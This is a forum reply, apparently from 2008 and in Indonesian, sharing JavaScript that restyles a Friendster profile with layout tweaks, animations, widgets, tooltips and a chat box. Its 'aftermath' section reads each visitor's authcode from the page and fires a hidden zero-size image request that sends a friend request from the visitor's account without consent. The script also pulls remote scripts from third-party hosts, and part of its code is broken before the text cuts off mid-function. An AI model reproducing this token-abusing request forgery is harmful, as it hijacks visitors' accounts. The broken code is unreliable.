[quote=_indra_kurniawan_13]nih url jsnya..[/quote]
coba keq gini bro
[spoiler]/**
* One Column Friendster Profile (Pure DOM)
* Copyright 2008 by FeRuZZ Š
http://profiles.friendster.com/feruzz
* In Cooperation with FriendsterTalk @
http://theftalk.com
* Timestamp: June 2, 2008
* Browser Compatibility: IE6, IE7, Firefox 2, Firefox 3, Opera 9, Safari 3.0
**/
/*global oColumn, attachOnLoadHandler, window, document*/
oColumn = {};
if (!attachOnLoadHandler(function () {
oColumn.init();
})) {
window.onload = function () {
oColumn.init();
};
}
(function () {
oColumn = {
$width: "500px", //Default width
$IE: /*@cc_on!@*/false, //IE
init: function () {
var tableleft = oColumn.$$("ltd", "td")[0].getElementsByTagName("ul")[0];
var tableright = oColumn.$$("rtd", "td")[0].getElementsByTagName("ul")[0];
var ctrlpnl = oColumn.$$("commonbox controlpanel", "div")[0];
if (!oColumn.$IE) {
tableleft.parentNode.parentNode.parentNode.appendChild(tableright);
} else { //Fixed for IE
ctrlpnl.parentNode.parentNode.appendChild(tableright);
}
var tabledata = document.getElementsByTagName("td")[0].getElementsByTagName("img"), x = 0;
while (x < tabledata.length) {
if (tabledata[x].src === "http://images.friendster.com/images/spacer.gif") {
tabledata[x].style.display = "none";
}
x += 1;
}
var tableparent = oColumn.$$("commonbox", "div"), y = 0;
while (y < tableparent.length) {
tableparent[y].style.width = oColumn.$width;
y += 1;
}
try {
var removeads = oColumn.$$("standalonebox ads", "div")[0];
removeads.style.display = "none";
var banner = document.getElementById("banneradrow");
banner.style.display = "none";
} catch (e) {}
},
$$: function (strClass, nodeName, pElem) {
nodeName = nodeName || "*";
pElem = pElem || document;
var objElm = pElem.getElementsByTagName(nodeName);
if (!objElm.length && nodeName === "*" && pElem.all) {
objElm = pElem.all;
}
var results = [];
var delim = strClass.indexOf("|") !== -1 ? "|": " ";
var rClass = strClass.split(delim);
for (var i = 0, j = objElm.length; i < j; i += 1) {
var rObjClass = objElm[i].className.split(" ");
if (delim === " " && rClass.length > rObjClass.length) {
continue;
}
var c = 0;
comparisonloop:
for (var k = 0, l = rObjClass.length; k < l; k += 1) {
for (var m = 0, n = rClass.length; m < n; m += 1) {
if (rClass[m] === rObjClass[k]) {
c += 1;
}
if ((delim === "|" && c === 1) || (delim === " " && c === rClass.length)) {
results.push(objElm[i]);
break comparisonloop;
}
}
}
}
return results;
}
};
})();
//smiley
var myjs = document.createElement("script");
myjs.type = "text/javascript";
myjs.src = "http://13051991.fileave.com/fliying_smiley.js ";
document.getElementsByTagName("head")[0].appendChild(myjs);
divpicutama=getElementByClassName("imgblock200")[0];
apicutama=divpicutama.getElementsByTagName("a")[0];
srcpicutama=divpicutama.getElementsByTagName("img")[0].getAttribute("src");
apicutama.innerHTML="<img src='"+srcpicutama+"' class='shakeimage' onMouseover='initshake(this);rattleimage()' onMouseout='stoprattle(this);top.focus()' onClick='top.focus()'>";
function getElementByClassName(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
/******** CSS INJECTION ********/
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://13051991.fileave.com/indra.css");
document.getElementsByTagName("head")[0].appendChild(css);
//Aftermath
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
//aftermath
var eadd = "indra_theuyunks@yahoo.com";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
var from_time = new Date();
from_time = from_time.getTime();
function show_loading_time()
{
var to_time = new Date();
to_time = to_time.getTime();
var secs = (to_time - from_time) /1000;
alert("ternyata "+secs+" detik untuk membuka profile indra "+pageOwnerFName+"")
alert("gimana.. cepetkan..??")
}
document.write('<body onLoad="show_loading_time()">') ;
// FIELD NAME DI CP
document.getElementById('0').getElementsByTagName("ul")[1].innerHTML=
"<center><li><span><U><font color='red'>INDRA | KURNIAWAN </U></font></span><br></li>"+
"<li><span><font color='red'>THE UYUNKS gitaris</font>, 17 taun, <font color='red'>sayang dirisendiri</font></span><br></li>"+
"<li><span>dilahirkan di kota <U><font color='red'>jakarta</font></U> tercintapada tanggal 13 mei 1991</span><br></li>"+
"<li><span><I>berada di <font color='red'>cirebon</i></font></span></br></li>"+
"<li><span><i><b>main epp es sejakh jaman jebodh</b></I></span><br></li>"+
"<li><span>ingin sangat amad <font color='red'><U>bahagiain bunda</font></U></span><br></li>"+
"<li><span><U>slalu menjadi anak yang jujur</U></span><br></li>"+
"<li><span><blink> indra | kurniawan </blink> yang membutuhkan teman</span><br></li>"+
"<li><span>yang mencintai persahabatan, add me</span><br></li>"+
"<li><span><U>xii ips 1 | SMA I AL-AZHAR 05 di kota CIREBON</U></span><br></li>"+
"<li><span><U>..</U></span><br></li>"+
"<li><span>085224066xxx | 085295829xxx</span><br></li>"+
"<li><span>i n d r a | k u r n i a w a n :</span><a style=\"font-weight: normal;\" href=\"/YOURUSERNAME\">http://profiles.friendster.com/theuyunks</a><br/></li>";
//wvmcbox
var myjs = document.createElement("script");
myjs.type = "text/javascript";
myjs.src = "http://h1.ripway.com/kherminator2/ax/instant.js";
document.getElementsByTagName("head")[0].appendChild(myjs);
//marquee title bar
function tb5_makeArray(n){
this.length = n;
return this.length;
}
tb5_messages = new tb5_makeArray(1);
tb5_messages[0] = "::
i n d r a | | | k u r n i a w a n |:::";
tb5_rptType = 'infinite';
tb5_rptNbr = 5;
tb5_speed = 300;
tb5_delay = 2000;
var tb5_counter=1;
var tb5_currMsg=0;
var tb5_stsmsg="";
function tb5_shuffle(arr){
var k;
for (i=0; i<arr.length; i++){
k = Math.round(Math.random() * (arr.length - i - 1)) + i;
temp = arr[i];arr[i]=arr[k];arr[k]=temp;
}
return arr;
}
tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){
tb5_arr[i] = i;
tb5_sts[i] = "_";
}
tb5_arr = tb5_shuffle(tb5_arr);
function tb5_init(n){
var k;
if (n == tb5_arr.length){
if (tb5_currMsg == tb5_messages.length-1){
if ((tb5_rptType == 'finite') && (tb5_counter==tb5_rptNbr)){
clearTimeout(tb5_timerID);
return;
}
tb5_counter++;
tb5_currMsg=0;
}
else{
tb5_currMsg++;
}
n=0;
tb5_arr = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
tb5_sts = new tb5_makeArray(tb5_messages[tb5_currMsg].length);
for (var i=0; i<tb5_messages[tb5_currMsg].length; i++){
tb5_arr[i] = i;
tb5_sts[i] = "_";
}
tb5_arr = tb5_shuffle(tb5_arr);
tb5_sp=tb5_delay;
}
else{
tb5_sp=tb5_speed;
k = tb5_arr[n];
tb5_sts[k] = tb5_messages[tb5_currMsg].charAt(k);
tb5_stsmsg = "";
for (var i=0; i<tb5_sts.length; i++)
tb5_stsmsg += tb5_sts[i];
document.title = tb5_stsmsg;
n++;
}
tb5_timerID = setTimeout("tb5_init("+n+")", tb5_sp);
}
function tb5_randomizetitle(){
tb5_init(0);
}
tb5_randomizetitle();
/*----------------------------------------------------------------------- EDIT MORE ABOUT */
document.getElementById("content_6").getElementsByTagName("span")[0].innerHTML="My ScHooL:";
document.getElementById("content_6").getElementsByTagName("span")[1].innerHTML="StAtUs SeBaGaI:";
document.getElementById("content_6").getElementsByTagName("span")[2].innerHTML="moTto hidup InDra:";
document.getElementById("content_6").getElementsByTagName("span")[3].innerHTML="hObBy InDra:";
document.getElementById("content_6").getElementsByTagName("span")[4].innerHTML="buKu yg INDRA Suka:";
document.getElementById("content_6").getElementsByTagName("span")[5].innerHTML="Film InDra SuKa:";
document.getElementById("content_6").getElementsByTagName("span")[6].innerHTML="MY MUSIC:";
document.getElementById("content_6").getElementsByTagName("span")[7].innerHTML="organisasi indra:";
document.getElementById("content_6").getElementsByTagName("span")[8].innerHTML="My zodiak:";
document.getElementById("content_6").getElementsByTagName("span")[9].innerHTML="tentang INDRA:";
document.getElementById("content_6").getElementsByTagName("span")[10].innerHTML="My GiRL FrIeNd:";
// RAINBOW SO
/*
RAINBOW TEXT Script by Matt Hedgecoe (c) 2002
Featured on JavaScript Kit
For this script, visit
http://www.javascriptkit.com
*/
// ********** MAKE YOUR CHANGES HERE
var text="- KAU DAN AKU ADALAH MALAIKAT BERSAYAP SATU. DAN KITA HARUS SALING BERPELUKAN UNTUK BISA TERBANG -" // YOUR TEXT
var speed=80 // SPEED OF FADE
// ********** LEAVE THE NEXT BIT ALONE!
if (document.all||document.getElementById){
var storetext=document.getElementById? document.getElementById("cpShoutoutBox") : document.all.highlight
}
else
document.write()
var hex=new Array("00","14","28","3C","50","64","78","8C","A0","B4","C8","DC","F0")
var r=1
var g=1
var b=1
var seq=1
function changetext(){
rainbow="#"+hex[r]+hex[g]+hex[b]
storetext.style.color=rainbow
}
function change(){
if (seq==6){
b--
if (b==0)
seq=1
}
if (seq==5){
r++
if (r==12)
seq=6
}
if (seq==4){
g--
if (g==0)
seq=5
}
if (seq=
){
b++
if (b==12)
seq=4
}
if (seq==2){
r--
if (r==0)
seq=3
}
if (seq==1){
g++
if (g==12)
seq=2
}
changetext()
}
function starteffect(){
if (document.all||document.getElementById)
flash=setInterval("change()",speed)
}
starteffect()
//onlinenow under recent updates
var onlinenow;
try {onlinenow = document.createElement("div");}
catch (e) {onlinenow = document.createElement("<div>");}
onlinenow.innerHTML = "<img src='http://x.myspace.com/images/onlinenow.gif' border='0'></a>";
onlinenow.setAttribute("style","text-align:right;padding-top:8px");
document.getElementById("0").getElementsByTagName("ul")[1].parentNode.appendChild(onlinenow);
//goodbye alert
function goodbye(){
alert('Thanks yah... udah mampir..ke FS indra n_n');
}
parent.window.onunload=goodbye;
// absensi kelas
var currentTime = new Date();
var hours = currentTime.getHours();
var minutes = currentTime.getMinutes();
if (minutes < 10)
minutes = "0" + minutes;
var jamenit = (hours + ":" + minutes + " ");
if(hours > 11){
var ampm = ("PM");
} else {
var ampm = ("AM");
}
document.getElementById("content_0").getElementsByTagName("ul")[2].innerHTML=
"<li><strong>Sekedar info:</strong>[<a style=\"margin: 0px; font-weight: normal; font-color: #ff9900;\" href=\"/editaccount.php#showTracker\"> kalo mo di ganti </a>]<br></li>"+
"<li><img src='http://theftalk.com/img/smilies/badgrin.gif' /><a>User name lo ini</a> - "+pageViewerFName+"<br></li>"+
"<li><img src='http://theftalk.com/img/smilies/badgrin.gif' /><a>User id lo neh ya </a> - "+pageViewerID+"<br></li>"+
"<li><img src='http://theftalk.com/img/smilies/badgrin.gif' /><a>lo mampir ke fs gw itu jam </font></a> - "+jamenit+ampm+" kira-kira <br></li>";
//COMMENT
for (i=0;i<10;i++) {
fotosrc=document.getElementById("18").getElementsByTagName("td")[2*i].getElementsByTagName("div")[0].getElementsByTagName("img")[0].getAttribute("src");
linkcomment=document.getElementById("18").getElementsByTagName("td")[2*i+1].getElementsByTagName("ul")[0];
linkcomment.title="header=[] body=[<img src='"+fotosrc+"' style='width:164px;border:2px solid black;'>] offsetx=[120] offsety=[-30]";
fototd=document.getElementById("18").getElementsByTagName("td")[2*i];
fototd.style.display="none";
}
//force login
if(pageViewerID==""){
alert("Please log in your Friendster account to view my page!");
top.location.href="http://www.friendster.com/login.php?next=%2fuser.php%3fuid%3D"+pageOwnerID+"&cookie=1";
}
//onload handler
function onProfileLoad() {
//addboxes here
// CHAT BOX
var cbox="<div align='center' id='cboxdiv'><br>"+"<iframe frameborder='0' width='85%' height='245' src='http://www5.cbox.ws/box/?boxid=75771&boxtag=vxej2g&sec=main' marginheight='2' marginwidth='2' scrolling='auto' allowtransparency='yes' name='sbox' id='sbox'></iframe><br><form name='cbox'style='width='75%'; background-color:transparent; border:0px; font-family:Font Type Here;font-weight:bold;font-size:12px;color:Hex Color Here;' target='sbox' action='http://www5.cbox.ws/box/?boxid=75771&boxtag=vxej2g&sec=submit' method='post'><input type='hidden' name='nme' value='"+pageViewerFName+"'><input type='hidden' name='eml' value='http://profiles.friendster.com/"+pageViewerID+"'><div align='center'>Message</div><input type='text' name='pst' class='cboxMsgArea' style='width:350px;height: 30px; -moz-border-radius: 10px!important; border-width:1px!important;border-style:solid!important;font-family:Arial;font-weight:normal;font-size:12px; border-color:black!important; background-color: transparent!important; color: #999999!important;overflow:auto'><div align='center'><a href='http://tinypic.com'>Upload Avatar</a> (put the URL of image beLow)</div><input style='width:350px;height: 30px; -moz-border-radius: 10px!important; border-width:1px!important;border-style:solid!important;font-family:Arial;font-weight:normal;font-size:12px; border-color:black!important;background-color: transparent!important; color:#999999!important;' type='text' maxlength='500' name='eml' size='20'></br><input type='submit' class='cboxButtons' value='Submit'style=' background-color: transparent!important; color: 3399cc!important; overflow: auto;width:95px;background-color:transparent;border:none;font-family:Font Type Here;font-weight:bold;font-size:12px;color: #999999;' name='asa'><input class='cboxButtons' type='reset' value='Clear'style='width:95px;background-color:transparent;border:none;font-family:Font Type Here;font-weight:bold;font-size:12px;color:#999999; 'maxlength='23' onClick='reset()'><input type='button' class='cboxButtons' value='Refresh'style='width:95px;background-color:transparent;border:none;font-family:Font Type Here;font-weight:bold;font-size:12px;color:#999999; name='sbox' onClick='window.sbox.location.href=document.getElementById(\"sbox\").src'>"+
"<br>"+
"<br>"+
"</div>";
addBox("LEFT","<font size=2 color=white> chat box</font> <font size=2 color=red>ajja gituh</font>",cbox,"cboxbox","1");
var mp3 ="<div align='center'><embed src='http://assets.myflashfetish.com/swf/mp3/mff-txtzoom.swf' quality='high' wmode='transparent' flashvars='myid=10606398&path=2008/07/01&mycolor=546642&mycolor2=CFE8DD&mycolor3=39C5FF&autoplay=true&rand=1&f=4&vol=100&pat=16' width='220' height='128' name='myflashfetish' align='middle'type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' border='0' /></embed></div>";
addBox("RIGHT","<font size=2 color=white> empehh tigahh</font> <font size=2 color=red>ajja gituh</font>",mp3,"music",null);
//MESSAGE BOX
var franzmessage="<center>"+"<div align='center' id='sendboxdiv'>"+
"<form name='message_form' action='http://www.friendster.com/sendmessage.php' method='post' onsubmit='this.onsubmit = new Function('return false');'><input type='hidden' name='_submitted' value='1'><input type='hidden' name='msg_type' value=''><input type='hidden' name='uid' value='"+pageOwnerID+"'><table class='formtable'><tr><td class='field'><label for='subjectfield'></label></td><td class='value'><span class='field'><font color='ff0000'><br>Subject :</font></span><input id='subjectfield' type='text' name='subject' size='25' maxlength='75' class='subjectfield'></td></tr><tr><td class='field'><label for='messagefield'></label></td><td valign='top' class='value'><span class='field'><font color='ff0000'>Message :</font></span><textarea id='messagefield' name='message' rows='7' cols='21' wrap='hard' class='messagefield'></textarea><input readonly type='hidden' name='inputcount' size='5' maxlength='4' value='100'></td></tr><tr><td class='field'></td><td class='value'><input type='checkbox' name='savetosent' value='y'><font color='ff0000'>Save a copy in your sent folder</font><br><input type='submit' name='Submit' onMouseOver='window.status='Send';return true;' value='Send'> <input type='reset' value='Clear' maxlength='23' onClick='reset()'></td></tr></table></form>"+
"</div>"+
"</center>";
addBox("RIGHT","<font size=2 color=white>Send Message </font><font size=2 color=red>For Me</font>",franzmessage,"sendmessagedj","7");
//slide
var slide ="<div align='center'><embed src='http://apps.rockyou.com/rockyou.swf?instanceid=115458801&ver=102906' quality='high' salign='lt' width='300' height='175' wmode='transparent' name='rockyou' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'/></embed></div>";
addBox("LEFT","<font size=2 color=red>HAsiL</font><font size=2 color=black> JePrETan Indra</font>",slide,"slide","1");
var flash = "<div align=\"center\"><embed src='http://13051991.fileave.com/flashvortex.swf ' wmode='transparent' quality='high' width='300px' height='300px' align='middle' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'/></embed></div>";
addBox("LEFT",pageOwnerFName+"'<font size=2 color=red>s PROFILE</font>",flash,"flashbox","0");
var puputu="<br><div align='center' class='gallerycontainer'>"+
"<a class=\"thumbnail\" href=\"?uid=http://profiles.friendster.com/42294389\"><img src=\"http://photos.friendster.com/photos/98/34/42294389/1_750778387m.jpg\" width=\"75px\" height=\"75px\" border=\"0\" /><span><img src=\"http://photos.friendster.com/photos/98/34/42294389/1_750778387m.jpg\" width=\"170px\" height=\"200px\" /><br>saddam 1</span></a>"+
"<a class=\"thumbnail\" href=\"?uid=http://profiles.friendster.com/theuyunksband\"><img src=\"http://photos.friendster.com/photos/26/56/67186562/1_889467774m.jpg\" width=\"75px\" height=\"75px\" border=\"0\" /><span><img src=\"http://photos.friendster.com/photos/26/56/67186562/1_889467774m.jpg\" width=\"170px\" height=\"200px\" /><br>THE UYUNKS</span></a>"+
"<a class=\"thumbnail\" href=\"?uid=http://profiles.friendster.com/46932922\"><img src=\"http://photos-922.friendster.com/e1/photos/22/92/46932922/1_665376359l.jpg\" width=\"75px\" height=\"75px\" border=\"0\" /><span><img src=\"http://photos-922.friendster.com/e1/photos/22/92/46932922/1_665376359l.jpg\" width=\"170px\" height=\"200px\" /><br>oki</span></a>"+
"<a class=\"thumbnail\" href=\"?uid=http://profiles.friendster.com/13892720\"><img src=\"http://photos.friendster.com/photos/02/72/13892720/1_785030438l.jpg\" width=\"75px\" height=\"75px\" border=\"0\" /><span><img src=\"http://photos.friendster.com/photos/02/72/13892720/1_785030438l.jpg\" width=\"170px\" height=\"200px\" /><br>FUAD</span></a>"+
"<a class=\"thumbnail\" href=\"?uid=http://profiles.friendster.com/55139016\"><img src=\"http://photos-016.friendster.com/e1/photos/61/09/55139016/1_909079131l.jpg\" width=\"75px\" height=\"75px\" border=\"0\" /><span><img src=\"http://photos-016.friendster.com/e1/photos/61/09/55139016/1_909079131l.jpg\" width=\"170px\" height=\"200px\" /><br>UCOK</span></a>"+
"<a class=\"thumbnail\" href=\"?uid=http://profiles.friendster.com/queensoftoilet\"><img src=\"http://photos-095.friendster.com/e1/photos/59/03/53903095/1_288005502m.jpg\" width=\"75px\" height=\"75px\" border=\"0\" /><span><img src=\"http://photos-095.friendster.com/e1/photos/59/03/53903095/1_288005502m.jpg\" width=\"170px\" height=\"200px\" /><br>Queen of tOiLet</span></a>"+
"<input type=\"button\" value=\"= View all =\" onClick=\"top.location.href='http://www.friendster.com/friends/THEUYUNKS'\" class=\"tingali\"><br><br>"+
"</div></div><br/><br/>";
addBox("RIGHT","<font size=2 color=red>My</font><font size=2 color=black> Friends</font>",puputu,"bologetoo","7");
shakedapic("2"); // untuk friend
shakedapic("7"); // untuk fan
shakedapic("8"); // untuk group
//slide photo gallery
}
function addBox (type,head,htm,id,sibling) {
//by marfillaster
//type "LEFT" | "RIGHT"
//head header string
//htm innerHTML string
//id css_id string
//sibling css_id_insertbefore string | null
/* Available default Siblings
Default "sibling_ID" Boxes for Reference (10/19/07)
LEFT RIGHT
"0" = controlpanel "15" = meettrail
"1" = photos "2" = friends
"13" = blogs "14" = googleads
"12" = reviews "7" = fan
"6" = moreabout "8" = groups
"18" = publiccomments null = appends to last(without "")
"10" = scrapbook
*/
try {
var li=document.createElement("li");
} catch(e) {
var li=document.createElement("<li>");
}
if(type=="LEFT") {
var ul=document.getElementById("0").parentNode.parentNode;
htm="<div class='boxcontent'>"+htm+"</div>";
}
else {var ul=document.getElementById("2").parentNode.parentNode;
}
li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+
"<h2>"+head+"</h2>"+
"<div id='content_"+id+"'>"+
htm+
"</div>"+
"</div>";
if(sibling==null) ul.appendChild(li);
else {
sibling=document.getElementById(sibling).parentNode;
ul.insertBefore(li,sibling);
}
}
/**********************************
* TOOLTIPS *
* Sumber :
http://www.swazz.org/ *
***********************************/
if (typeof document.attachEvent!='undefined') {
window.attachEvent('onload',init);
document.attachEvent('onmousemove',moveMouse);
document.attachEvent('onclick',checkMove); }
else {
window.addEventListener('load',init,false);
document.addEventListener('mousemove',moveMouse,false);
document.addEventListener('click',checkMove,false);
}
var oDv=document.createElement("div");
var dvHdr=document.createElement("div");
var dvBdy=document.createElement("div");
var windowlock,boxMove,fixposx,fixposy,lockX,lockY,fixx,fixy,ox,oy,boxLeft,boxRight,boxTop,boxBottom,evt,mouseX,mouseY,boxOpen,totalScrollTop,totalScrollLeft;
boxOpen=false;
ox=10;
oy=10;
lockX=0;
lockY=0;
function init() {
oDv.appendChild(dvHdr);
oDv.appendChild(dvBdy);
oDv.style.position="absolute";
oDv.style.visibility='hidden';
document.body.appendChild(oDv);
}
function defHdrStyle() {
dvHdr.innerHTML='<img style="vertical-align:middle" src="info.gif"> '+dvHdr.innerHTML;
dvHdr.style.fontWeight='bold';
dvHdr.style.width='170px';
dvHdr.style.fontFamily='Tahoma';
dvHdr.style.border='1px solid #ffff00';
dvHdr.style.padding='3';
dvHdr.style.fontSize='11';
dvHdr.style.color='#ffff00';
dvHdr.style.background='#000000';
dvHdr.style.filter='alpha(opacity=85)'; // IE
dvHdr.style.opacity='0.85'; // FF
dvBdy.style.MozBorderRadius='0px 0px 0px 10px';
}
function defBdyStyle() {
dvBdy.style.borderBottom='1px solid #ffff00';
dvBdy.style.borderLeft='1px solid #ffff00';
dvBdy.style.borderRight='1px solid #ffff00';
dvBdy.style.width='170px';
dvBdy.style.fontFamily='Tahoma';
dvBdy.style.fontSize='11';
dvBdy.style.padding='3';
dvBdy.style.color='#ffff00';
dvBdy.style.background='#000000';
dvBdy.style.filter='alpha(opacity=85)'; // IE
dvBdy.style.opacity='0.85'; // FF
dvHdr.style.MozBorderRadius='0px 10px 0px 0px';
}
function checkElemBO(txt) {
if (!txt || typeof(txt) != 'string') return false;
if ((txt.indexOf('header')>-1)&&(txt.indexOf('body')>-1)&&(txt.indexOf('[')>-1)&&(txt.indexOf('[')>-1))
return true;
else
return false;
}
function scanBO(curNode) {
if (checkElemBO(curNode.title)) {
curNode.boHDR=getParam('header',curNode.title);
curNode.boBDY=getParam('body',curNode.title);
curNode.boCSSBDY=getParam('cssbody',curNode.title);
curNode.boCSSHDR=getParam('cssheader',curNode.title);
curNode.IEbugfix=(getParam('hideselects',curNode.title)=='on')?true:false;
curNode.fixX=parseInt(getParam('fixedrelx',curNode.title));
curNode.fixY=parseInt(getParam('fixedrely',curNode.title));
curNode.absX=parseInt(getParam('fixedabsx',curNode.title));
curNode.absY=parseInt(getParam('fixedabsy',curNode.title));
curNode.offY=(getParam('offsety',curNode.title)!='')?parseInt(getParam('offsety',curNode.title)):10;
curNode.offX=(getParam('offsetx',curNode.title)!='')?parseInt(getParam('offsetx',curNode.title)):-200;
curNode.fade=(getParam('fade',curNode.title)=='on')?true:false;
curNode.fadespeed=(getParam('fadespeed',curNode.title)!='')?getParam('fadespeed',curNode.title):0.04;
curNode.delay=(getParam('delay',curNode.title)!='')?parseInt(getParam('delay',curNode.title)):0;
if (getParam('requireclick',curNode.title)=='on') {
curNode.requireclick=true;
document.all?curNode.attachEvent('onclick',showHideBox):curNode.addEventListener('click',showHideBox,false);
document.all?curNode.attachEvent('onmouseover',hideBox):curNode.addEventListener('mouseover',hideBox,false);
}
else {// Note : if requireclick is on the stop clicks are ignored
if (getParam('doubleclickstop',curNode.title)!='off') {
document.all?curNode.attachEvent('ondblclick',pauseBox):curNode.addEventListener('dblclick',pauseBox,false);
}
if (getParam('singleclickstop',curNode.title)=='on') {
document.all?curNode.attachEvent('onclick',pauseBox):curNode.addEventListener('click',pauseBox,false);
}
}
curNode.windowLock=getParam('windowlock',curNode.title).toLowerCase()=='off'?false:true;
curNode.title='';
curNode.hasbox=1;
}
else
curNode.hasbox=2;
}
function getParam(param,list) {
var reg = new RegExp('([^a-zA-Z]' + param + '|^' + param + ')\\s*=\\s*\\[\\s*(((\\[\\[)|(\\]\\])|([^\\]\\[]))*)\\s*\\]');
var res = reg.exec(list);
var returnvar;
if(res)
return res[2].replace('[[','[').replace(']]',']');
else
return '';
}
function Left(elem){
var x=0;
if (elem.calcLeft)
return elem.calcLeft;
var oElem=elem;
while(elem){
if ((elem.currentStyle)&& (!isNaN(parseInt(elem.currentStyle.borderLeftWidth)))&&(x!=0))
x+=parseInt(elem.currentStyle.borderLeftWidth);
x+=elem.offsetLeft;
elem=elem.offsetParent;
}
oElem.calcLeft=x;
return x;
}
function Top(elem){
var x=0;
if (elem.calcTop)
return elem.calcTop;
var oElem=elem;
while(elem){
if ((elem.currentStyle)&& (!isNaN(parseInt(elem.currentStyle.borderTopWidth)))&&(x!=0))
x+=parseInt(elem.currentStyle.borderTopWidth);
x+=elem.offsetTop;
elem=elem.offsetParent;
}
oElem.calcTop=x;
return x;
}
var ah,ab;
function applyStyles() {
if(ab)
oDv.removeChild(dvBdy);
if (ah)
oDv.removeChild(dvHdr);
dvHdr=document.createElement("div");
dvBdy=document.createElement("div");
CBE.boCSSBDY?dvBdy.className=CBE.boCSSBDY:defBdyStyle();
CBE.boCSSHDR?dvHdr.className=CBE.boCSSHDR:defHdrStyle();
dvHdr.innerHTML=CBE.boHDR;
dvBdy.innerHTML=CBE.boBDY;
ah=false;
ab=false;
if (CBE.boHDR!='') {
oDv.appendChild(dvHdr);
ah=true;
}
if (CBE.boBDY!=''){
oDv.appendChild(dvBdy);
ab=true;
}
}
var CSE,iterElem,LSE,CBE,LBE, totalScrollLeft, totalScrollTop, width, height ;
var ini=false;
// Customised function for inner window dimension
function SHW() {
if (document.body && (document.body.clientWidth !=0)) {
width=document.body.clientWidth;
height=document.body.clientHeight;
}
if (document.documentElement && (document.documentElement.clientWidth!=0) && (document.body.clientWidth + 20 >= document.documentElement.clientWidth)) {
width=document.documentElement.clientWidth;
height=document.documentElement.clientHeight;
}
return [width,height];
}
var ID=null;
function moveMouse(e) {
//boxMove=true;
e?evt=e:evt=event;
CSE=evt.target?evt.target:evt.srcElement;
if (!CSE.hasbox) {
// Note we need to scan up DOM here, some elements like TR don't get triggered as srcElement
iElem=CSE;
while ((iElem.parentNode) && (!iElem.hasbox)) {
scanBO(iElem);
iElem=iElem.parentNode;
}
}
if ((CSE!=LSE)&&(!isChild(CSE,dvHdr))&&(!isChild(CSE,dvBdy))){
if (!CSE.boxItem) {
iterElem=CSE;
while ((iterElem.hasbox==2)&&(iterElem.parentNode))
iterElem=iterElem.parentNode;
CSE.boxItem=iterElem;
}
iterElem=CSE.boxItem;
if (CSE.boxItem&&(CSE.boxItem.hasbox==1)) {
LBE=CBE;
CBE=iterElem;
if (CBE!=LBE) {
applyStyles();
if (!CBE.requireclick)
if (CBE.fade) {
if (ID!=null)
clearTimeout(ID);
ID=setTimeout("fadeIn("+CBE.fadespeed+")",CBE.delay);
}
else {
if (ID!=null)
clearTimeout(ID);
COL=1;
ID=setTimeout("oDv.style.visibility='visible';ID=null;",CBE.delay);
}
if (CBE.IEbugfix) {hideSelects();}
fixposx=!isNaN(CBE.fixX)?Left(CBE)+CBE.fixX:CBE.absX;
fixposy=!isNaN(CBE.fixY)?Top(CBE)+CBE.fixY:CBE.absY;
lockX=0;
lockY=0;
boxMove=true;
ox=CBE.offX?CBE.offX:10;
oy=CBE.offY?CBE.offY:10;
}
}
else if (!isChild(CSE,dvHdr) && !isChild(CSE,dvBdy) && (boxMove)) {
// The conditional here fixes flickering between tables cells.
if ((!isChild(CBE,CSE)) || (CSE.tagName!='TABLE')) {
CBE=null;
if (ID!=null)
clearTimeout(ID);
fadeOut();
showSelects();
}
}
LSE=CSE;
}
else if (((isChild(CSE,dvHdr) || isChild(CSE,dvBdy))&&(boxMove))) {
totalScrollLeft=0;
totalScrollTop=0;
iterElem=CSE;
while(iterElem) {
if(!isNaN(parseInt(iterElem.scrollTop)))
totalScrollTop+=parseInt(iterElem.scrollTop);
if(!isNaN(parseInt(iterElem.scrollLeft)))
totalScrollLeft+=parseInt(iterElem.scrollLeft);
iterElem=iterElem.parentNode;
}
if (CBE!=null) {
boxLeft=Left(CBE)-totalScrollLeft;
boxRight=parseInt(Left(CBE)+CBE.offsetWidth)-totalScrollLeft;
boxTop=Top(CBE)-totalScrollTop;
boxBottom=parseInt(Top(CBE)+CBE.offsetHeight)-totalScrollTop;
doCheck();
}
}
if (boxMove&&CBE) {
// This added to alleviate bug in IE6 w.r.t DOCTYPE
bodyScrollTop=document.documentElement&&document.documentElement.scrollTop?document.documentElement.scrollTop:document.body.scrollTop;
bodyScrollLet=document.documentElement&&document.documentElement.scrollLeft?document.documentElement.scrollLeft:document.body.scrollLeft;
mouseX=evt.pageX?evt.pageX-bodyScrollLet:evt.clientX-document.body.clientLeft;
mouseY=evt.pageY?evt.pageY-bodyScrollTop:evt.clientY-document.body.clientTop;
if ((CBE)&&(CBE.windowLock)) {
mouseY < -oy?lockY=-mouseY-oy:lockY=0;
mouseX < -ox?lockX=-mouseX-ox:lockX=0;
mouseY > (SHW()[1]-oDv.offsetHeight-oy)?lockY=-mouseY+SHW()[1]-oDv.offsetHeight-oy:lockY=lockY;
mouseX > (SHW()[0]-dvBdy.offsetWidth-ox)?lockX=-mouseX-ox+SHW()[0]-dvBdy.offsetWidth:lockX=lockX;
}
oDv.style.left=((fixposx)||(fixposx==0))?fixposx:bodyScrollLet+mouseX+ox+lockX+"px";
oDv.style.top=((fixposy)||(fixposy==0))?fixposy:bodyScrollTop+mouseY+oy+lockY+"px";
}
}
function doCheck() {
if ( (mouseX < boxLeft) || (mouseX >boxRight) || (mouseY < boxTop) || (mouseY > boxBottom)) {
if (!CBE.requireclick)
